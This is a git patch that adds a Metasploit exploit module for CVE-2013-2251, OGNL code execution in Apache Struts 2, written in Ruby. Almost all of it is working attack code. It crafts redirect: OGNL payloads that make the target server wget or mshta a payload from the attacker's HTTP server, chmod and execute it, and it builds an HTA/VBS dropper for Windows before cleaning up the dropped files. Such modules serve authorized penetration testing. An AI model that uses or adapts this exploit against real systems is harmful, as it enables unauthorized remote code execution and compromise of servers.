From 04b9e3a3e6649fe34377713d6ca10dd02c723875 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 24 Jul 2013 08:52:02 -0500 Subject: [PATCH] Add module for CVE-2013-2251 --- .../http/struts_default_action_mapper.rb | 430 ++++++++++++++++++ 1 file changed, 430 insertions(+) create mode 100644 modules/exploits/multi/http/struts_default_action_mapper.rb diff --git a/modules/exploits/multi/http/struts_default_action_mapper.rb b/modules/exploits/multi/http/struts_default_action_mapper.rb new file mode 100644 index 0000000000..e2ede79b9e --- /dev/null +++ b/modules/exploits/multi/http/struts_default_action_mapper.rb @@ -0,0 +1,430 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HttpServer + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Apache Struts 2 DefaultActionMapper Prefixes OGNL Code Execution', + 'Description' => %q{ + The Struts 2 DefaultActionMapper supports a method for short-circuit navigation + state changes by prefixing parameters with "action:" or "redirect:", followed by + a desired navigational target expression. This mechanism was intended to help with + attaching navigational information to buttons within forms. + + In Struts 2 before 2.3.15.1 the information following "action:", "redirect:" or + "redirectAction:" is not properly sanitized. Since said information will be + evaluated as OGNL expression against the value stack, this introduces the + possibility to inject server side code. + + This module has been tested successfully on Struts 2.3.15 over Tomcat 7, with + Windows 2003 SP2 and Ubuntu 10.04 operating systems. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Takeshi Terada', # Vulnerability discovery + 'sinn3r', # Metasploit module + 'juan vazquez' # Metasploit modules + ], + 'References' => + [ + [ 'CVE', '2013-2251' ], + [ 'OSVDB', '95405' ], + [ 'BID', '61189' ], + [ 'URL', 'http://struts.apache.org/release/2.3.x/docs/s2-016.html' ] + ], + 'Platform' => [ 'win', 'linux'], + 'Targets' => + [ + ['Automatic', {}], + ['Windows', + { + 'Arch' => ARCH_X86, + 'Platform' => 'win' + } + ], + ['Linux', + { + 'Arch' => ARCH_X86, + 'Platform' => 'linux' + } + ] + ], + 'DefaultOptions' => + { + 'WfsDelay' => 10 + }, + 'Stance' => Msf::Exploit::Stance::Aggressive, + 'DisclosureDate' => 'Jul 2 2013', + 'DefaultTarget' => 0)) + + register_options( + [ + Opt::RPORT(8080), + OptString.new('TARGETURI', [true, 'Action URI', '/struts2-blank/example/HelloWorld.action']), + OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the payload request', 60]), + # It isn't OptPath becuase it's a *remote* path + OptString.new("WritableDir", [ true, "A directory where we can write files (only on Linux targets)", "/tmp" ]) + ], self.class) + end + + def on_new_session(session) + if session.type == "meterpreter" + session.core.use("stdapi") unless session.ext.aliases.include?("stdapi") + end + + @dropped_files.delete_if do |file| + false unless file =~ /\.exe/ + win_file = file.gsub("/", "\\\\") + if session.type == "meterpreter" + begin + wintemp = session.fs.file.expand_path("%TEMP%") + win_file = "#{wintemp}\\#{win_file}" + session.shell_command_token(%Q|attrib.exe -r "#{win_file}"|) + session.fs.file.rm(win_file) + print_good("Deleted #{file}") + true + rescue ::Rex::Post::Meterpreter::RequestError + print_error("Failed to delete #{win_file}") + false + end + end + end + end + + def start_http_service + #do not use SSL + if datastore['SSL'] + ssl_restore = true + datastore['SSL'] = false + end + + if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") + srv_host = Rex::Socket.source_address(rhost) + else + srv_host = datastore['SRVHOST'] + end + + service_url = srv_host + ':' + datastore['SRVPORT'].to_s + print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...") + start_service({ + 'Uri' => { + 'Proc' => Proc.new { |cli, req| + on_request_uri(cli, req) + }, + 'Path' => '/' + } + }) + + datastore['SSL'] = true if ssl_restore + + return service_url + end + + def check + uri = normalize_uri(target_uri.path) + res = send_request_cgi({ + 'uri' => uri, + 'method' => 'GET' + }) + + if res.nil? or res.code != 200 + print_error("#{rhost}:#{rport} - Check needs a valid action, returning 200, as TARGETURI") + return Exploit::CheckCode::Unknown + end + + proof = rand_text_alpha(6 + rand(4)) + + res = send_request_cgi({ + 'uri' => "#{uri}?redirect:%25{new%20java.lang.String('#{proof}')}", + 'method' => 'GET' + }) + + if res and res.code == 302 and res.headers['Location'] =~ /#{proof}/ + return Exploit::CheckCode::Vulnerable + end + + return Exploit::CheckCode::Unknown + end + + def auto_target + uri = normalize_uri(target_uri.path) + res = send_request_cgi({ + 'uri' => uri, + 'method' => 'GET' + }) + + if res.nil? or res.code != 200 + fail_with(Exploit::Failure::NoTarget, "#{rhost}:#{rport} - In order to autodetect, a valid action, returning 200, must be provided as TARGETURI, returning 200") + end + + proof = rand_text_alpha(6 + rand(4)) + + res = send_request_cgi({ + 'uri' => "#{uri}?redirect:%25{new%20java.io.File('.').getCanonicalPath().concat('#{proof}')}", + 'method' => 'GET' + }) + + if res and res.code == 302 and res.headers['Location'] =~ /#{proof}/ + if res.headers['Location'] =~ /:\\/ + return targets[1] # Windows + else + return targets[2] # Linux + end + end + + fail_with(Exploit::Failure::NoTarget, "#{rhost}:#{rport} - Target auto-detection didn't work") + + end + + def exploit_linux + + downfile = rand_text_alpha(8+rand(8)) + @pl = @exe + @pl_sent = false + + # + # start HTTP service if necessary + # + service_url = start_http_service + + # + # download payload + # + fname = datastore['WritableDir'] + fname = "#{fname}/" unless fname =~ %r'/$' + fname << downfile + uri = normalize_uri(target_uri.path) + uri << "?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'wget','#{service_url}','-O',new%20java.lang.String('#{fname.gsub(/\//,"$")}').replace('$','\\u002f')})).start()}" + + print_status("#{rhost}:#{rport} - Downloading payload to #{fname}...") + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => uri + }) + + if res.nil? or res.code != 302 + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - OGNL injection failed") + end + + # + # wait for payload download + # + wait_payload + stop_service + + register_file_for_cleanup(fname) + + # + # chmod + # + uri = normalize_uri(target_uri.path) + uri << "?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'chmod','777',new%20java.lang.String('#{fname.gsub(/\//,"$")}').replace('$','\\u002f')})).start()}" + + print_status("#{rhost}:#{rport} - Make payload executable...") + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => uri + }) + + if res.nil? or res.code != 302 + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - OGNL injection failed") + end + + # + # execute + # + uri = normalize_uri(target_uri.path) + uri << "?redirect:%25{(new%20java.lang.ProcessBuilder(new%20java.lang.String('#{fname.gsub(/\//,"$")}').replace('$','\\u002f'))).start()}" + + print_status("#{rhost}:#{rport} - Execute payload...") + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => uri + }) + + if res.nil? or res.code != 302 + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - OGNL injection failed") + end + + end + + def exploit_windows + @var_exename = rand_text_alpha(4 + rand(4)) + '.exe' + @pl = build_hta + @pl_sent = false + + # + # start HTTP service if necessary + # + service_url = start_http_service + + # + # execute hta + # + uri = normalize_uri(target_uri.path) + uri << "?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'mshta',new%20java.lang.String('http:nn#{service_url}').replace('n','\\u002f')})).start()}" + + print_status("#{rhost}:#{rport} - Execute payload through malicious HTA...") + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => uri + }) + + if res.nil? or res.code != 302 + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - OGNL injection failed") + end + + # + # wait for payload download + # + wait_payload + stop_service + + register_file_for_cleanup(@var_exename) + end + + def exploit + if target.name =~ /Automatic/ + print_status("#{rhost}:#{rport} - Target autodetection...") + my_target = auto_target + print_good("#{rhost}:#{rport} - #{my_target.name} target found!") + else + my_target = target + end + + p = exploit_regenerate_payload(my_target.platform, my_target.arch) + @exe = generate_payload_exe({:code => p.encoded, :platform => my_target.platform, :arch => my_target.arch}) + + if my_target.name =~ /Linux/ + if datastore['PAYLOAD'] =~ /windows/ + fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - The target is Linux, but you've selected a Windows payload!") + end + exploit_linux + elsif my_target.name =~ /Windows/ + if datastore['PAYLOAD'] =~ /linux/ + fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - The target is Windows, but you've selected a Linux payload!") + end + exploit_windows + end + end + + # Handle incoming requests from the server + def on_request_uri(cli, request) + vprint_status("#{rhost}:#{rport} - URI requested: #{request.inspect}") + if (not @pl) + print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!") + return + end + print_status("#{rhost}:#{rport} - Sending the payload to the server...") + @pl_sent = true + send_response(cli, @pl) + end + + # wait for the data to be sent + def wait_payload + print_status("#{rhost}:#{rport} - Waiting for the victim to request the payload...") + + waited = 0 + while (not @pl_sent) + select(nil, nil, nil, 1) + waited += 1 + if (waited > datastore['HTTP_DELAY']) + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?") + end + end + end + + def build_hta + var_shellobj = rand_text_alpha(rand(5)+5); + var_fsobj = rand_text_alpha(rand(5)+5); + var_fsobj_file = rand_text_alpha(rand(5)+5); + var_vbsname = rand_text_alpha(rand(5)+5); + var_writedir = rand_text_alpha(rand(5)+5); + + var_origLoc = rand_text_alpha(rand(5)+5); + var_byteArray = rand_text_alpha(rand(5)+5); + var_writestream = rand_text_alpha(rand(5)+5); + var_strmConv = rand_text_alpha(rand(5)+5); + + # Doing in this way to bypass the ADODB.Stream restrictions on JS, + # even when executing it as an "HTA" application + # The encoding code has been stolen from ie_unsafe_scripting.rb + print_status("#{rhost}:#{rport} - Encoding payload into vbs/javascript/hta..."); + + # Build the content that will end up in the .vbs file + vbs_content = Rex::Text.to_hex(%Q| +Dim #{var_origLoc}, s, #{var_byteArray} +#{var_origLoc} = SetLocale(1033) +|) + # Drop the exe payload into an ansi string (ansi ensured via SetLocale above) + # for conversion with ADODB.Stream + vbs_ary = [] + # The output of this loop needs to be as small as possible since it + # gets repeated for every byte of the executable, ballooning it by a + # factor of about 80k (the current size of the exe template). In its + # current form, it's down to about 4MB on the wire + @exe.each_byte do |b| + vbs_ary << Rex::Text.to_hex("s=s&Chr(#{("%d" % b)})\n") + end + vbs_content << vbs_ary.join("") + + # Continue with the rest of the vbs file; + # Use ADODB.Stream to convert from an ansi string to it's byteArray equivalent + # Then use ADODB.Stream again to write the binary to file. + #print_status("Finishing vbs..."); + vbs_content << Rex::Text.to_hex(%Q| +Dim #{var_strmConv}, #{var_writedir}, #{var_writestream} +#{var_writedir} = WScript.CreateObject("WScript.Shell").ExpandEnvironmentStrings("%TEMP%") & "\\#{@var_exename}" + +Set #{var_strmConv} = CreateObject("ADODB.Stream") + +#{var_strmConv}.Type = 2 +#{var_strmConv}.Charset = "x-ansi" +#{var_strmConv}.Open +#{var_strmConv}.WriteText s, 0 +#{var_strmConv}.Position = 0 +#{var_strmConv}.Type = 1 +#{var_strmConv}.SaveToFile #{var_writedir}, 2 + +SetLocale(#{var_origLoc})|) + + hta = <<-EOS + + EOS + + return hta + end + + +end